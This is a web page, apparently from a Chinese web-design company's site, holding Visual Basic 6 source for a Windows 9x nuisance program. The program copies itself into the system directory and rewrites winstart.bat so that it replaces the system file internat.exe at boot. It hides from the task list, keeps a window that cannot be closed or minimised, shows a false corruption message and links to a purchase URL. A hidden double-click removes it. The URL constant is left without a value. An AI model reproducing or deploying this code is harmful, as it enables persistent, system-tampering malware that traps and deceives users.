衡水网站建设首选衡水九天网络公司

 Option Explicit
    '进程控制
    Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
    Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
    Const RSP_SIMPLE_SERVICE = 1
    Const RSP_UNREGISTER_SERVICE = 0
    '退出Windows
    Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    Const EWX_LOGOFF = 0
    Const EWX_SHUTDOWN = 1
    Const EWX_REBOOT = 2
    Const EWX_FORCE = 4
    Const WM_SYSCOMMAND = &H112&
    Const SC_SCREENSAVE = &HF140&
    '窗体总在最前
    Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
    Const HWND_TOPMOST = -1
    '连接
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Const SW_SHOWNORMAL = 1
    Const URL 
    '查找系统目录
    Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
    Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
    Const MAX_PATH = 260
    Dim ExitButton As Boolean
    '取得windows目录
    Function GetWinPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
    GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
    GetWinPath = ""
    End If
    End Function
    '取得system目录
    Function GetSystemPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
    GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
    GetSystemPath = ""
    End If
    End Function
    '文件是否存在
    Function FileExists(filename As String) As Integer
    Dim i As Integer
    On Error Resume Next
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
    End Function
    '隐藏进程
    Public Sub RemoveProgramFromList()
    Dim lngProcessID As Long
    Dim lngReturn As Long
    Dim pid As Long
    lngProcessID = GetCurrentProcessId()
    lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
    End Sub
    '打开浏览器
    Public Sub gotoweb()
    Dim Success As Long
    Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
    End Sub
    '连入网站
    Private Sub cmdBuy_Click()
    gotoweb
    End Sub
    '重新启动
    Private Sub cmdReset_Click()
    Dim lresult
    lresult = ExitWindowsEx(EWX_REBOOT, 0&)
    End Sub
    Private Sub Form_Load()
    On Error Resume Next
    Dim Path As String
    Dim SourceFile, DestinationFile
    Path = App.Path
    If Right(Path, 1) <> "\" Then Path = Path & "\"
    If App.PrevInstance Then End
    If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
    '备份internat.exe文件
    SourceFile = GetSystemPath & "\internat.exe"
    DestinationFile = GetSystemPath & "\intarnet.dll.exe"
    FileCopy SourceFile, DestinationFile
    '复制自己
    SourceFile = Path & App.EXEName & ".EXE"
    DestinationFile = GetSystemPath & "\so.dll.exe"
    FileCopy SourceFile, DestinationFile
    '改写winstart.bat文件
    Open GetWinPath & "\winstart.bat" For Append As #1
    Print #1, "@echo off"
    Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
    Print #1, "del " & GetWinPath & "\winstart.bat"
    Close #1
    End If
    '检查文件是否在系统目录执行
    If App.Path <> GetSystemPath Then
    MsgBox "程序代码不完整或系统出现错误，文件已被破坏。", vbInformation
    End
    End If
    RemoveProgramFromList
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
    Shell (GetSystemPath & "\intarnet.dll.exe")
    End Sub
    Private Sub Form_Resize()
    '程序被最小化时返回初始状态
    If Me.WindowState = 1 Then Me.WindowState = 0
    End Sub
    Private Sub Form_Unload(Cancel As Integer)
    '禁止程序退出
    If Not ExitButton Then Cancel = True
    End Sub
    '删除程序
    Private Sub lblUninstall_DblClick()
    Open GetWinPath & "\winstart.bat" For Append As #1
    Print #1, "@echo off"
    Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
    Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
    Print #1, "del " & GetSystemPath & "\so.dll.exe"
    Print #1, "del " & GetWinPath & "\winstart.bat"
    Close #1
    MsgBox "您使用的系统可能是正版。:-)", vbInformation
    End
    End Sub